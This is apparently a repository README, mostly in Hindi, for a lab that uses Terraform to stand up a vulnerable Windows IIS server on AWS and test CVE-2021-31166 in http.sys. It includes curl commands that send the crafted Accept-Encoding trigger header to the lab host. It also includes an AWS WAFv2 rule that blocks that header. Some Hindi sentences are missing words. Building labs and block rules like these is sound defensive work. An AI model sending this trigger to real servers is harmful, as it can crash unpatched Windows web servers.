
AWS पर Terraform तैनाती के साथ CVE-2021-31166 (http.sys RCE) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें परीक्षण स्क्रिप्ट और एक्सप्लॉइट को ब्लॉक करने के लिए WAFv2 नियम शामिल हैं।
यह रेपो 0vercl0k द्वारा CVE-2021-31166 ("HTTP प्रोटोकॉल स्टैक रिमोट कोड निष्पादन भेद्यता") के लिए एक प्रूफ ऑफ कॉन्सेप्ट से प्रेरित है, जो http.sys में एक उपयोग-के-बाद-मुक्त (use-after-free) डीरेफरेंस है, जिसे मई 2021 में माइक्रोसॉफ्ट द्वारा पैच किया गया था।
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
टेराफॉर्म Windows Server Core 20H2 के साथ एक EC2 इंस्टेंस बनाएगा, IIS स्थापित करेगा और AWS कंसोल से Web Powershell Session खोलने के लिए SSM अनुमतियाँ जोड़ेगा। यह एक भी बनाएगा और इंस्टेंस को लक्ष्य के रूप में उपयोग करेगा। डिफ़ॉल्ट रूप से पर पहुँचने की अनुमति के लिए केवल जोड़ेगा।
Application Load BalancerSecurity Group#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}